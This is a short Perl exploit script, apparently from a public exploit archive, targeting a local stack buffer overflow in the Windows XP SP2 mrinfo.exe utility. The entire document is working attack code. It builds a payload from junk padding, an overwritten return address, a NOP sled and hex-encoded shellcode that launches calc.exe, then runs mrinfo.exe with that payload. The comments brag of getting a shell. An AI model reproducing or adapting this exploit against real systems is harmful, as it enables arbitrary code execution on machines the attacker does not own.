Exploit MRINFO XP SP2

#!/usr/bin/perl
## -----------------------------------------
## [Write By STALKER]
## [AlgEriAn HaCkEr]
## Mrinfo Local Stack Overflow XP SP2
## Email: Stalk3r@live.com
## Date: 02/01/2010
## -----------------------------------------

$junk ="\x41"x 56;
$ret ="\x9C\x1A\xDC\x77";
$nop ="\x90"x 200;

$shellcode =
"\xeb\x16\x5b\x31\xc0\x50\x53\xbb".
"\x8d\x15\x86\x7c\xff\xd3\x31\xc0".
"\x50\xbb\xea\xcd\x81\x7c\xff\xd3".
"\xe8\xe5\xff\xff\xff\x63\x61\x6c".
"\x63\x2e\x65\x78\x65";

$exploit=$junk.$ret.$nop.$shellcode;
print "[ * ]Payload Created...\n";
print "[ * ]Injecting Payload...\n";
print "[ * ]w0w , Good Shell...\n";
system("mrinfo.exe",$exploit);